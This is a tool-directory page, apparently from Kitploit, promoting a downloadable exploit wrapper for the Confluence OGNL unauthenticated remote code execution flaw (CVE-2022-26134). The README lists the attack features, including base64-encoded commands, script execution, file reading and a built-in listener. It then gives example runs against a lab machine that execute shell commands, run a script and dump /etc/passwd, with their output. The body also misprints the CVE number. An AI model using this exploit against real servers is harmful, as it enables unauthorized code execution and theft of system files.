Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
confluence-ognl-rce — Confluence Unauth RCE (CVE-2022-26134) | Kitploit
工具/GitHubGitHub/crypt0lith/confluence-ognl-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcrypt0lith/confluence-ognl-rce

confluence-ognl-rce

Confluence Unauth RCE (CVE-2022-26134)

查看仓库
210天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2022-26134 - Atlassian Confluence OGNL RCE

This script is a wrapper over an unauthenticated remote code execution via OGNL injection exploit primitive in Confluence Data Center and Server (CVE-2022-26314).

  • Vendor advisory

Originally inspired by the PoC jbaines-r7/through_the_wire.

I added the following features for convenience:

  • base64-encode the RCE command
  • read from scripts with -c @/path/to/file (shebang-aware)
  • Python-native sockets for command and file read output; no external netcat listener
  • preliminary vulnerability check
  • Metasploit-style iface -> addr LHOST resolution

Example Usage

Some examples from the Proving Grounds box Flu:

root@kitploit:~
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c 'id;hostname;ip a' http://192.168.159.41:8090 tun0            
[*] target is vulnerable
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
flu
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:86:cc:58 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.159.41/24 brd 192.168.159.255 scope global ens160
       valid_lft forever preferred_lft forever
root@kitploit:~
kali@kali:~/ctf/offsec/pg/flu$ cat test.py               
#!/usr/bin/env python3
import sys;print(sys.version)
                                                                                                                                                                                                                  
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c '@test.py' http://192.168.159.41:8090 tun0 2>/dev/null
3.11.4 (main, Dec  7 2023, 15:43:41) [GCC 12.3.0]
root@kitploit:~
kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py --readfile '/etc/passwd' http://192.168.159.41:8090 tun0 2>/dev/null | head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
下载工具